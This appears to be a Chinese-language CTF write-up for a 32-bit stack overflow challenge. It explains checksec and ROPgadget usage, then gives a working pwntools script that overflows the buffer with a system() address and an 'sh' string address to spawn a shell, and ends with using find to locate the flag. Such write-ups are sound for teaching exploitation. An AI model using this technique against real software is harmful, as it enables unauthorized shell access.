题目分析1
首先打开这个题目的链接的时候,看到了ret2syscall,以为是一个纯正的syscall的题,结果,做的时候发现这个题的危险函数限制的字符串个数不足以写入syscall需要的所有地址,所以,这里参考dalao们的方法,/做出了这道题,这里记录一下。
首先,checksec看一下这个题目的保护以及架构:
是一个32位小端序程序,开了栈不可执行的保护,所以初步判断,stack的ret2shellcode就无法完成,之后打开IDA反编译程序,从main函数中找到只存在一个初始化环境的函数和一个vulnerable()函数,进入这个函数:
发现read函数读取的字符串数目不足以用来进行ret2syscall,所以,这里就用到了其他的方法,就是找sh的地址以及通过system()函数的地址拼接起来,根据栈上的局部变量传递参数的方式,构造一个system("sh")出来,大致的思路就是这样,具体实现中犯了难,那就是,怎么找到sh的地址,在正式操作之前讲一下相关的工具的知识点,那就是ROPgadget的使用方式:
ROPgadget基础使用:
1.查找这个程序中零零碎碎的汇编代码片段的地址:
ROPgadget --binary 文件名 --only "pop|ret" | grep rdi
2.查找字符串的地址:
ROPgadget --binary 文件名 --sting 'sh'
编写脚本代码:
根据之前的内容即可开始编写脚本代码:
from pwn import *
sys = 0x8048529
shell = 0x8048670
io = process('./service')
payload = b"A"*(0x18+0x4) + p32(sys) + p32(shell)
io.sendline(payload)
io.interactive()
最后一步:
之后成功获取shell,但是这并不是这道题的第一个比较头疼的点,另一个点就是flag文件隐藏了,这个时候就要用到find命令来查找文件了,具体的内容如下:
Linux下查找文件(find、grep命令)_linux查找文件-CSDN博客
一般只需要按照文件名进行查找即可:
find 路径 -name "文件名"
之后就是根据题目猜测flag文件的名字,最后通过上一条语句进行查找,当然,如果猜不到,那么还是只有挨个找了。